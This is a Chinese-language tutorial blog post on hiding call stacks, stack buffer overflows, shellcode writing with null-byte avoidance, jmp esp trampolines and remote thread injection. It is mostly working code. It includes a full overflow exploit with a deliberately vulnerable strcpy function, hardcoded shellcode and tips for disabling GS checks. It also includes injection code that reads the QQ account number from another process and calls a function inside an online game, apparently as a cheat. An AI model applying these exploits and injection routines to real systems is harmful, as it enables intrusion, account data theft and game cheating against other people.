shellcode,缓冲区溢出漏洞及 远程调call

news2024/12/23 9:00:12

1.隐藏堆栈调用

在学习shellcode之前,

我们先利用之前已经学习过的知识来构造一个有意思的调用,当然这是建立在学习完毕我们前面的堆栈课程的前提下.

例如我们正常调用过程如下:

main---->func2---->func1---->func0

那么,毫无疑问,在堆栈中会出现3个返回到地址,分别是:

main call func2的时候push的eip 也就是执行完毕func2返回到main函数的地址.

func2 call func1的时候push的eip 也就是执行完毕func1返回到func2函数的地址.

func1 call func0的时候push的eip 也就是执行完毕func0返回到func1函数的地址.

我们现在依然要实现这样的调用顺序,但是不让堆栈中出现返回到,也是直接ctrl+F9查看不到完整的调用过程.

那么怎么做呢?

流程和原理其实很容易,main函数正常调用func2,只要我们在执行完毕func2的时候将eip修改指向func1

func1执行完毕的时候将eip修改指向func0, 然后func0执行完毕让其顺利返回main函数即可.

这个过程很简单,唯独容易出错的地方仅仅在于维护好堆栈也就是esp以及保存好返回main函数的地址以及ebp.

esp错误堆栈不平衡肯定会崩溃,

main函数返回地址不对,程序肯定错乱,

ebp错误的话,肯定会影响main函数后面的代码以及调用main函数的代码.

所以这3点一定要注意!

那么我们来代码实现:



DWORD preturnmain;
DWORD returnmainebp;
typedef void (*PFUNC)();
void func0();
void func1();
void func2();
PFUNC m_pfunc0 = func0;
PFUNC m_pfunc1 = func1;
PFUNC m_pfunc2 = func2;



void func0()
{
cout << "func0" << endl;
DWORD falseret;
__asm
{
mov esp, ebp
pop  falseret
push preturnmain
mov ebp, returnmainebp//但是最后一层返回是需要给main函数正确的ebp的否则   main函数会出错
ret
}

}

void func1()
{
//进到这个call 我们需要注意
//我们不是call进来的   而是push地址ret 相当于eip直接指进来的  所有没有push eip  堆栈里没有返回到这一条
//而且我们调用不会原路返回所以不需要保存ebp
cout << "func1" << endl;
DWORD falseret;
__asm
{
mov esp,ebp//所以EBP指向的位置 下一条没有返回到的地址   而又不需要保存ebp 这条就当返回到用了
pop  falseret//弹出假的返回地址
push func0
ret
}
}

void func2()
{
cout << "func2" << endl;
__asm
{
mov esp,ebp
pop returnmainebp
pop preturnmain

push func1
ret
}
}

int main()
{
cout << m_pfunc2 << endl;//输出 func2的地址 方便我们OD观察调试
cin.get();
func2();
cout << "main" << endl;

return 0;

}

备注写的很清晰

这样的调用方式不能通过堆栈或则ctrl+f9直接看到完整调用过程了,只能F7单步逆向流程

例如func2内ctrl+F9 就到了func1内, 这和正常的ctrl+f9的理解是不一样的

func0内 ctrl+f9 直接就到了main函数

如果我们把所有调用流程写成这样,将对防护,防破解以及反外挂都会起到很大作用!

同时利用缓冲区溢出漏洞进行shellcode攻击也用到了以前上的原理.

说的简单点就是修改了eip,让cpu执行我们的代码.

2.缓冲区溢出漏洞

栈溢出原理:

很多程序都会接受用户的外界输入,尤其是当函数内的一个数组缓冲区接受用户输入的时候,一旦程序代码未对输入的长度进行合法性检查的话,缓冲区溢出便有可能触发!

比如下边的一个简单的函数:

void  stackoverflow(char* arg1)//函数中存在缓存区溢出漏洞
{
char buffer[8];
strcpy(buffer, arg1);
DWORD old;
VirtualProtect((PVOID)buffer, 200, PAGE_EXECUTE_READWRITE, &old);// 这里模拟已经提升好可执行权限

printf("%s", buffer);
getchar();

}

由于strcpy_s内部判断了拷贝大小加了溢出保护,如果想上面的例子堆栈溢出,必须使用strcpy,可以加上以下代码:

#define _CRT_SECURE_NO_WARNINGS 1

#pragma warning(disable:4996) //忽略警告

这个函数分配了8个字节的缓冲区,然后通过 strcpy 函数将传进来的字符串复制到缓冲区中,最后输出,如果传入的字符串大于 8的话就会发生溢出,并向后覆盖堆栈中的信息,如果只是一些乱码的话那个最多造成程序崩溃,如果传入的是一段精心设计的代码,那么计算机可能回去执行这段攻击代码。

我们详细学习过堆栈的排列方式

buffer是局部变量,地址是堆栈地址,当strcpy超过他的8字节以后,会覆盖堆栈下面的数据

下面分别是其他局部变量,然后是ebp,然后是返回地址,然后是参数.

我们只要把返回地址覆盖成我们要执行的代码地址,就可以让该函数返回的时候去顺利执行我们的代码了.

3.什么是shellcode

上面我们利用缓冲区溢出漏洞通过覆盖返回地址,让他CPU去对应位置执行我们的代码

我们的代码要以二进制数据的形式写到内存中.

这段既是代码又是数据的二进制数据被称为 Shellcode.

其实shellcode就是一段可执行的二进制代码.也就是机器语言.我们写好的代码反编译成二进制即可.不过这段代码有很多要求

比如不能有参数等等,我们在编写过程中摸索,

比如不能使用全局变量

不能用字符串,因为也是全局常量,需要使用可以写成字符数组,就是局部变量了

上述缓冲区溢出漏洞,肯定是从外部攻击的,shellcode肯定要写到目标进程的内存中

我们可以在目标进程远程申请内存写入,也可以直接在堆栈中构造

既然缓冲区溢出可以覆盖返回到的地址,同样也可以把我们的shellcode覆盖到堆栈中

到时候覆盖到堆栈中的shellcode 地址是 确定不了的,如果想确定地址 很麻烦,那么怎么办呢?

我们可以借助跳板

原理很简单:

我们堆栈从缓冲区覆盖成这样

缓冲区及其他局部变量地址 及ebp==== 覆盖成任意值

返回到 ====覆盖成跳到一句 jmp esp的指令

返回到下面也就是arg1开始 ====覆盖成我们的shellcode

这样在函数返回的时候 会跳转到jmp esp这条指令 ,而这条指令 又会跳到我们的shellcode去直接

这句 jmp esp就是跳板

4.寻找shellcode跳板

我们到系统模块中搜索一个这样的指令即可


DWORD findjmpesp()
{

HMODULE user32Handle = LoadLibraryA("user32");

BYTE* ptr = (BYTE*)user32Handle;

for (int i = 0;; i++)
{
try
{
if (ptr[i] == 0xFF && ptr[i + 1] == 0xE4)
{
cout << hex;
cout << "跳板地址:"<<(DWORD)((int)ptr + i) << endl;
return (DWORD)((int)ptr + i);
}
}
catch (...)
{

}
}
}

这样我们就可以构造shellcode了

shellcode用到的API函数我们先以常量书写,后面我们在编写通用方式.

void  getapiaddr()
{
HMODULE user32Handle = LoadLibraryA("user32");//0x774A0000
cout <<"user32.dll模块句柄:"<< user32Handle << endl;
FARPROC pMessageBoxA = GetProcAddress(user32Handle, "MessageBoxA");//0x77520BA0
cout << "MessageBoxA函数地址:"<<pMessageBoxA << endl;
HMODULE kernel32Handle = LoadLibraryA("kernel32");//0x75ED0000
cout << "kernel32.dll模块句柄:"<<kernel32Handle << endl;
FARPROC pExitProcess = GetProcAddress(kernel32Handle, "ExitProcess");//0x75EF4100
cout << "ExitProcess函数地址:"<< pExitProcess << endl;

}

5.编写shellcode

准备工作完成,我们开始编写shellcode

_asm
{
sub esp, 0x50 
xor ebx,ebx

push 0x0021C9B7
push 0xF1C4CEC8 // push "C8 CE C4 F1 B7 C9 21 00"
mov eax, esp   //标题字符串指针

        push 0x00 
push 0x21D5B1D8
push 0xB9ABBDB4
push 0xBC21F7BB
push 0xA5B9BBB1   // push "B1 BB B9 A5 BB F7 21 BC B4 BD AB  B9 D8 B1 D5 21"
mov ecx, esp      //内容字符串指针  

push ebx
push eax
push ecx
push ebx 
mov eax, 0x77520BA0
call eax        // call MessageBox
push ebx 
mov eax, 0x75EF4100
call eax       // call ExitProcess
}

这里面需要注意的问题

我们的shellcode 不能有00,否则 strcpy 会提前结束,所以 上面的代码中有字符串00结尾,需要我们修改成其他的代码形式

字符串结尾的00用 寄存器ebx替代

00结尾的常量0x75EF4100

我们写成0x75EF4112

再sub 0x12

改成

这样就没有00了

_asm
{
sub esp, 0x50 
xor ebx,ebx

push ebx
push 0x2121C9B7
push 0xF1C4CEC8 // push "C8 CE C4 F1 B7 C9 21 00"
mov eax, esp   //标题字符串指针

push ebx
push 0x21D5B1D8
push 0xB9ABBDB4
push 0xBC21F7BB
push 0xA5B9BBB1   // push "B1 BB B9 A5 BB F7 21 BC B4 BD AB  B9 D8 B1 D5 21"
mov ecx, esp      //内容字符串指针  

push ebx
push eax
push ecx
push ebx 
mov eax, 0x77520BA0
call eax        // call MessageBox
push ebx 
mov eax, 0x75EF4112
        sub eax,0x12
call eax       // call ExitProcess
}

然后我们把 汇编代码转成二进制机器码也就是shellcode

{0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,

0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,

0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,

0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,

0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0}

我们填写的缓冲区数据

除了shellcode

还有前面的可以随便填写的局部变量 和要填写的返回地址0x7755c02b

所以完整的字节集如下

局部变量空间有多大要我们OD附加查看以及不断调整测试

{

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41

,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41

,0x2B,0xC0,0x55,0x77,

0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,

0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,

0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,

0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,

0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0}

这个时候会出错

原因是函数内部是有一个占位的局部变量[ebp-4]

他会检测是否为CC,如果为CC说明正常,如果不为CC 则说明有变量越界

那么我们把

这个位置改成CC

同时vs的GS检测 还会检测我们的ebp值是否正确, 我们这里先直接关掉

右键----C/C++----代码生成----安全检查----禁用安全检查GS-

char shellcode[] =

{

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41

,0xCC,0xCC,0xCC,0xCC,0x41,0x41,0x41,0x41

,0x2B,0xC0,0x55,0x77,

0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,

0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,

0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,

0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,

0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0 };

完整代码如下:




#define _CRT_SECURE_NO_WARNINGS 1
#pragma warning(disable:4996)


DWORD findjmpesp()
{

HMODULE user32Handle = LoadLibraryA("user32");

BYTE* ptr = (BYTE*)user32Handle;

for (int i = 0;; i++)
{
try
{
if (ptr[i] == 0xFF && ptr[i + 1] == 0xE4)
{
cout << hex;
cout << "跳板地址:"<<(DWORD)((int)ptr + i) << endl;
return (DWORD)((int)ptr + i);
}
}
catch (...)
{

}
}
}

void  getapiaddr()
{
HMODULE user32Handle = LoadLibraryA("user32");//0x774A0000
cout <<"user32.dll模块句柄:"<< user32Handle << endl;
FARPROC pMessageBoxA = GetProcAddress(user32Handle, "MessageBoxA");//0x77520BA0
cout << "MessageBoxA函数地址:"<<pMessageBoxA << endl;

HMODULE kernel32Handle = LoadLibraryA("kernel32");//0x75ED0000
cout << "kernel32.dll模块句柄:"<<kernel32Handle << endl;
FARPROC pExitProcess = GetProcAddress(kernel32Handle, "ExitProcess");//0x75EF4100
cout << "ExitProcess函数地址:"<< pExitProcess << endl;
}

char shellcode[] =
{
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
,0xCC,0xCC,0xCC,0xCC,0x41,0x41,0x41,0x41
,0x2B,0xC0,0x55,0x77,
0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,
0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,
0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,
0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,
0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0 };



void  stackoverflow(char* arg1)//函数中存在缓存区溢出漏洞
{
char buffer[8];
strcpy(buffer, arg1);

DWORD old;
VirtualProtect((PVOID)buffer, 200, PAGE_EXECUTE_READWRITE, &old);// 这里模拟已经提升好可执行权限

printf("%s", buffer);
getchar();

}



int main()
{

DWORD pjmpespr = findjmpesp();
DWORD old1 = 0;
VirtualProtect((PVOID)pjmpespr, 200, PAGE_EXECUTE_READWRITE, &old1);//正常找一块可执行的位置
getapiaddr();

cout << "stackoverflow函数地址:"<<stackoverflow << endl;
cin.get();
stackoverflow(shellcode);
return 0;


}

6.shellcode锻炼,X64替代内联汇编

要求,我们把加法运算写成shellcode调用

__asm

{

push ebp

mov ebp, esp

sub esp, 10h

push ecx

mov eax, [ebp + 8]

mov ecx, [ebp + 0xC]

add eax, ecx

pop ecx

mov esp, ebp

pop ebp

ret

}


//push ebp
//mov ebp, esp
//sub esp, 10h
//push ecx
//mov eax, [ebp + 8]
//mov ecx, [ebp + 0xC]
//add eax, ecx
//pop ecx
//mov esp, ebp
//pop ebp
//ret
typedef int (*PFN)(int, int);
int main()
{
char code[] =
{
0x55,0x8B,0xEC,0x83,0xEC,0x10 ,0x51 ,0x8B ,0x45 ,0x08 ,0x8B ,0x4D ,0x0C ,0x03 ,0xC1 ,0x59 ,0x8B ,0xE5 ,0x5D ,0xC3
};
PFN pfn = (PFN)((char*)code);
DWORD old = 0;
VirtualProtect((PVOID)code, 100, PAGE_EXECUTE_READWRITE, &old);
int fnret = pfn(1, 2);
cout << fnret << endl;

return 0;

我们发现这样X64可以不写内联汇编用shellcode替代

7.远程shellcode注入

当我们不注入的时候,可以跨进程远程shellcode注入执行命令或则调call

流程很简单

就是远程申请内存,写入我们的shellcode

然后远线程执行

例如跨进程获取我们的企鹅号

代码如下,备注很详细:



void getPushBin(int arg, LPVOID & pShellCode, HANDLE hProcess)
{
if (arg >= -128 && arg <= 127)//例如push  1  两字节
{
unsigned char code = { 106 };
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
}
else {
unsigned char code = { 104 };//例如push  1111  4字节
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
}
void getCallBin(int Calladdr, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 232 };// call  xxxx
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
int arg = Calladdr - (int)pShellCode - 5;
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
void getmovecxBin(int arg, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 185 };// mov ecx,xxxx
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}


void getresEaxBin(int src, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 163 };
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&src, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
DWORD CallFunction(HANDLE hProcess, DWORD pFunc, DWORD arg1 = 0, DWORD arg2 = 0, DWORD arg3 = 0, DWORD arg4 = 0, DWORD arg5 = 0, DWORD arg6 = 0, DWORD ecx = 0);
DWORD CallFunction(HANDLE hProcess, DWORD pFunc, DWORD arg1 , DWORD arg2 , DWORD arg3 , DWORD arg4 , DWORD arg5 , DWORD arg6 , DWORD ecx )
{
LPVOID pShellCodeStart = VirtualAllocEx(hProcess, NULL, 0x200, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID pShellCode = pShellCodeStart;
LPVOID resEax = VirtualAllocEx(hProcess, NULL, 4, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

//构造call头部
//push ebp
//mov ebp, esp
//sub esp, 0x3c
unsigned char pfunHead[6] = { 85,139,236,131,236,60 };
SIZE_T codelen = sizeof(pfunHead);
WriteProcessMemory(hProcess, pShellCode, pfunHead, codelen, NULL);
pShellCode = LPVOID((DWORD)pShellCode + codelen);

getPushBin(arg6, pShellCode, hProcess);
getPushBin(arg5, pShellCode, hProcess);
getPushBin(arg4, pShellCode, hProcess);
getPushBin(arg3, pShellCode, hProcess);
getPushBin(arg2, pShellCode, hProcess);
getPushBin(arg1, pShellCode, hProcess);

//构造ecx
getmovecxBin(ecx, pShellCode, hProcess);


//构造call 
getCallBin(pFunc, pShellCode, hProcess);
 
//构造 mov dword[resEax], eax
getresEaxBin((int)resEax, pShellCode, hProcess);

//构造尾部
//add esp, 0x3c
//mov esp, ebp
//pop ebp
//ret
unsigned char pfunEnd[] = { 131,196,60,139,229,93,195 };
codelen = sizeof(pfunEnd);
WriteProcessMemory(hProcess, pShellCode, pfunEnd, codelen, NULL);
pShellCode = LPVOID((int)pShellCode + codelen);


//创建远程线程 执行代码
DWORD Tid;
HANDLE tHandle = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pShellCodeStart, NULL, NULL, &Tid);
if (!tHandle)
{
VirtualFreeEx(hProcess, resEax, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pShellCodeStart, 0, MEM_RELEASE);
cout << "执行call失败!" << endl;
return -1;
}
WaitForSingleObject(tHandle, -1);//等待执行结束

int resa = 0;
ReadProcessMemory(hProcess, resEax, &resa, 4, 0);
VirtualFreeEx(hProcess, resEax, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pShellCodeStart, 0, MEM_RELEASE);
return resa;
}

int main()
{


DWORD PID = 0;
HWND tempHGame = ::FindWindowA(0, "QQ");//TXGuiFoundation,QQ
while (tempHGame != 0)//遍历多开QQ
{
GetWindowThreadProcessId(tempHGame, &PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
HMODULE hModule = LoadLibraryA("kernel32.dll");//同电脑加载地址相同
DWORD pGetModuleHandleA = (DWORD)GetProcAddress(hModule, "GetModuleHandleA");
DWORD pGetProcAddress = (DWORD)GetProcAddress(hModule, "GetProcAddress");

//QQKernelUtil.dll模块下的?GetSelfUin@Contact@Util@@YAKXZ函数返回QQ号
char dllName[] = "KernelUtil.dll";
char funName[] = "?GetSelfUin@Contact@Util@@YAKXZ";
LPVOID pDllName = VirtualAllocEx(hProcess, NULL, sizeof(dllName), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//进程句柄,NULL自动分配,大小,为特定的页面区域分配内存中或磁盘的页面文件中的物理存储,页面属性
WriteProcessMemory(hProcess, pDllName, &dllName, sizeof(dllName), 0);
LPVOID pFunName = VirtualAllocEx(hProcess, NULL, sizeof(funName), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pFunName, &funName, sizeof(funName), 0);

DWORD kernelMoudle = CallFunction(hProcess, pGetModuleHandleA, (DWORD)pDllName);//执行GetModuleHandleA 参数"KernelUtil.dll"返回句柄
DWORD pGetSelfUin = CallFunction(hProcess, pGetProcAddress, kernelMoudle, (DWORD)pFunName);
//调用GetProcAddress  参数1 KernelUtil.dll模块句柄  参数2 字符串"?GetSelfUin@Contact@Util@@YAKXZ"  返回?GetSelfUin@Contact@Util@@YAKXZ的地址
DWORD qq = CallFunction(hProcess, pGetSelfUin);//调用?GetSelfUin@Contact@Util@@YAKXZ 无参数  返回QQ号

CloseHandle(hProcess);
cout << "QQ:"<<qq<<endl;
tempHGame = ::FindWindowExA(NULL, tempHGame, 0, "QQ");
}

cin.get();
return 0;

}

8.远程调用call

例如:

打坐call

push 1

mov eax,[00D0DF1C]

mov ecx,[eax+1c]

mov ecx,[ecx+28]

mov eax,0x0047E7E0

call eax

int main()
{
DWORD PID = 0;
HWND tempHGame = ::FindWindowA(0, "口袋西游");//XYElementClient Window,口袋西游
while (tempHGame != 0)
{
GetWindowThreadProcessId(tempHGame, &PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
DWORD ecx;
DWORD Temp;
ReadProcessMemory(hProcess,(LPCVOID)0x00D0DF1C,&ecx,4,&Temp);
ReadProcessMemory(hProcess, (LPCVOID)(ecx+0x1c), &ecx, 4, &Temp);
ReadProcessMemory(hProcess, (LPCVOID)(ecx + 0x28), &ecx, 4, &Temp);
cout << hex;
cout << "ecx=" << ecx << endl;

CallFunction(hProcess, 0x0047E7E0,1,0,0,0,0,0,ecx);

CloseHandle(hProcess);
cout << "执行完毕"<< endl;
tempHGame = ::FindWindowExA(NULL, tempHGame, 0, "口袋西游");
}

cin.get();
return 0;
}

打坐成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/344368.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

云端智创 | 批量化生产,如何利用Timeline快速合成短视频?

本文内容整理自「智能媒体生产」系列课程第三讲&#xff1a;开发者实战&#xff0c;由阿里云智能视频云技术专家分享云剪辑Timeline的功能及使用方法、云剪辑OpenAPI的使用流程、短视频批量生产的基本原理以及使用Timeline合成常见的短视频效果。课程回放见文末。 01 Timeline…

CSDN每日一练:蛇形矩阵

题目名称&#xff1a;蛇形矩阵 时间限制&#xff1a;1000ms内存限制&#xff1a;256M 题目描述 给你一个整数n&#xff0c;输出n∗n的蛇形矩阵。 输入描述&#xff1a; 输入一行&#xff0c;包含一个整数n 输出描述&#xff1a; 输出n行&#xff0c;每行包含n个正整数&#xff…

【重磅】IEEE33配电网两阶段鲁棒优化调度CCG

目录 1 前言 2基本内容 2.1 配网两阶段鲁棒模型 2.2 求解步骤 3部分程序 4程序结果 5程序链接 1 前言 鲁棒优化是电力系统研究的热点&#xff0c;而两阶段鲁棒和分布鲁棒研究就成为各类期刊&#xff08;sci/ei/核心&#xff09;的宠儿&#xff0c;最简单的思路是通过改…

影像组学|案例流程复现

对一篇影像组学的的论文&#xff08;《Development and validation of an MRI-based radiomics nomogram for distinguishing Warthin’s tumour from pleomorphic adenomas of the parotid gland》&#xff09;中方法进行复现。完整地跑通影像组学全流程&#xff0c;对临床影像…

Alibaba微服务组件Nacos配置中心

目录 Nacos配置中心使用 springcloud config 对比 快速开始 搭建nacos-config服务 Config相关配置 配置的优先级 RefreshScope Nacos配置中心使用 官方文档&#xff1a; Nacos config alibaba/spring-cloud-alibaba Wiki GitHub Nacos 提供用于存储配置和其他元数据…

链表基本原理

链表基本原理1.链表1.1 基本原理1.2 链表大O记法表示2. 链表操作2.1 读取2.2 查找2.3 插入2.4 删除3.链表代码实现1.链表 1.1 基本原理 节点 组成链表的数据格子不是连续的。可以分布在内存的各个位置。这种不相邻的格子就叫结点。每个结点保存数据还保存着链表里的下一结点的…

Leetcode—移除元素、删除有序数组中的重复项、合并两个有序数组

移除元素 此题简单&#xff0c;用双指针方法即可&#xff0c; 如果右指针指向的元素不等于val&#xff0c;它一定是输出数组的一个元素&#xff0c;我们就将右指针指向的元素复制到左指针位置&#xff0c;然后将左右指针同时右移&#xff1b; 如果右指针指向的元素等于 val&…

04 OpenCV位平面分解

1 基本概念 位平面分解的核心思想是将图像的每一个像素分解为多个二进制位&#xff0c;分别存储在不同的位平面上。例如&#xff0c;如果一个图像是8位深度的&#xff0c;则可以分解为8个位平面&#xff0c;每个位平面上存储一个二进制位。 位平面分解在图像压缩中有着重要的…

对Node.js 的理解?优缺点?应用场景?

一、是什么 Node.js 是一个开源与跨平台的 JavaScript 运行时环境 在浏览器外运行 V8 JavaScript 引擎&#xff08;Google Chrome 的内核&#xff09;&#xff0c;利用事件驱动、非阻塞和异步输入输出模型等技术提高性能 可以理解为 Node.js 就是一个服务器端的、非阻塞式I/…

中国计算机设计大赛来啦!用飞桨驱动智慧救援机器狗

‍‍中国大学生计算机设计大赛是我国高校面向本科生最早的赛事之一&#xff0c;自2008年开赛至今&#xff0c;一直由教育部高校与计算机相关教指委等或独立或联合主办。大赛的目的是以赛促学、以赛促教、以赛促创&#xff0c;为国家培养德智体美劳全面发展的创新型、复合型、应…

保姆级Vue3+Vite项目实战多布局(下)

写在前面注&#xff1a;本文首发掘金签约专栏&#xff0c;此文为文章同步&#xff01;本文为 Vue3Vite 项目实战系列教程文章第三篇&#xff0c;系列文章建议从头观看效果更佳&#xff0c;大家可关注专栏防走失&#xff01;点个赞再看有助于全文完整阅读&#xff01;此系列文章…

如何在 C++ 应用程序中集成 Spire.XLS for C++

Spire.XLS for C 是一个 Excel 库&#xff0c;供开发人员在任何类型的 C 应用程序中操作 Excel 文档&#xff08;XLS、XLSX、XLSB 和 XLSM&#xff09;。 本文演示了如何以两种不同的方式将 Spire.XLS for C 集成到您的 C 应用程序中。 通过 NuGet 安装Spire.XLS for C通过手动…

一篇文章带你读懂HashMap

HashMap是面试中经常问到的一个知识点,也是判断一个候选人基础是否扎实的标准之一。可见HashMap的掌握是多重要。 一、HashMap源码分析 1、构造函数 让我们先从构造函数说起&#xff0c;HashMap有四个构造方法&#xff0c;别慌 1.1 HashMap() // 1.无参构造方法、// 构造一…

企业数字化转型和升级:架构设计方法与实践

企业架构整体结构图例&#xff1a;企业架构整体结构企业架构整体结构从战略层、规划层、落地层这三层来分别对应企业架构中业务、架构和实施的各种重要活动和产出。业务架构&#xff0c;数据架构&#xff0c;应用架构和技术架构之间的内在逻辑联系:图例&#xff1a;企业架构整体…

什么,Excel竟然听得懂人话!?!

Excel知道我们想干啥&#xff0c;不相信&#xff1f;看下面的案例。“数据格式”列中规定了各种数据元类型的长度、保留位数等&#xff0c;我们需要提取对应的数值作为“字段长度”列。比如an..100取100&#xff0c;n4取4&#xff0c;an..100,3取100&#xff0c;..ul取1000&…

C语言学习笔记-排序算法

选择排序 选择排序&#xff08;Selection sort&#xff09;是一种简单直观的排序算法。它的工作原理如下。首先在未排序序列中找到最小&#xff08;大&#xff09;元素&#xff0c;存放到排序序列的起始位置&#xff0c;然后&#xff0c;再从剩余未排序元素中继续寻找最小&…

元宇宙营销面临的三大挑战

元宇宙的营销就像在早期的互联网建立一个网站一样&#xff0c;你没有多少可以向过去借鉴的&#xff0c;这个领域一切都是崭新的。对于一个实验性很强的项目而言&#xff0c;你很难知道要投入多少的时间和资源&#xff0c;而且这个项目也不一定能保障收益以及满足其他的一些关键…

[小记]注入服务进程/跨session注入

最近测试注入遇到一个问题&#xff1a;OpenProcess 失败&#xff0c;报错码&#xff1a;5&#xff0c;没有权限。 问题排查&#xff1a; 1&#xff0c;是否是管理员权限启动程序&#xff1f; 是 2&#xff0c;注入的目标进程有什么特殊&#xff1f; 目标进程是svchost.exe&…

【PyQt】PyQt学习(二)模块介绍+QObject学习

简介 PyQt API 是一组包含大量类和函数的模块。核心模块如下&#xff1a; QtGui&#xff1a;包含了窗口系统、事件处理&#xff08;QEvent&#xff09;、2D 图像&#xff08;QImage&#xff09;、基本绘画、字体&#xff08;QFont&#xff09;和文字类&#xff1b;QtCore&…

02.13:监督学习中的分类问题

今天首先学习了监督学习中的分类问题&#xff0c;跑了两个代码。现在学起来感觉机器学习有很多不同的定理建立了不同的分类器&#xff0c;也就是所谓不同的方法。具体的数学原理我不太清楚。然后不同的应用场景有一个最优的分类器。 值得一提的应该就是终于清晰的明白了精度&am…